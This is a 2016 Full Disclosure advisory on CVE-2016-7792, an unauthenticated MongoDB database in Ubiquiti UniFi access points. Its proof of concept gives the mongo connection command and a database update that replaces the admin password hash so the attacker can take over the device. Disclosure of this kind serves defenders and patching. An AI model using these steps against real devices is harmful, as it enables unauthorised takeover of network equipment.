full-disclosure - [FD] Critical Vulnerability in Ubiquiti UniFi

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Date: Fri, 30 Sep 2016 11:49:26 +0200 (CEST)
From: Tim Schughart <t.schughart@...sec-networks.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com, 
 webappsec@...urityfocus.com
Cc: "Khanh Quoc. Pham" <k.pham@...sec-networks.com>
Subject: [FD] Critical Vulnerability in Ubiquiti UniFi

Hello @all, 

together with my colleague we found two uncritical vulnerabilities you'll find below.

Product: UniFi AP AC Lite
Vendor: Ubiquiti Networks Inc. 

Internal reference: ? (Bug ID)
Vulnerability type: Incorrect access control 
Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested)
Vulnerable component: Database
Report confidence: yes
Solution status: Not fixed by Vendor, the bug is a feature. 
Fixed versions: -
Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham of ProSec Networks
Solution date: - 
Public disclosure: 2016-09-30
CVE reference: CVE-2016-7792
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 

Vulnerability Details:
You are able to connect to the access points database, because of an broken authentication (OWASP TOP10). So you are able to modify the database and read the data. An possible scenario you'll find in PoC section. 

Risk:
An attacker gets access to the database and for e.g. is able to change the admins password, like you see in PoC below. 

PoC: 
 1. Generate SHA512 Hash with e.g.
 mkpasswd -m sha-512

 2. Connect via network to database, e.g. :
 mongo --port 27117 --host target_ip

 3. Change password via command
 "db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
 "$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
 4. Login via web interface with new password

Best regards / Mit freundlichen Grüßen 

Tim Schughart 
CEO / Geschäftsführer  

--
ProSec Networks e.K. 
Ellingshohl 82  
56077 Koblenz 

Website: https://www.prosec-networks.com 
E-Mail: t.schughart@...sec.networks.com 
Mobile: +49 (0)157 7901 5826
Phone: +49 (0)261 450 930 90   

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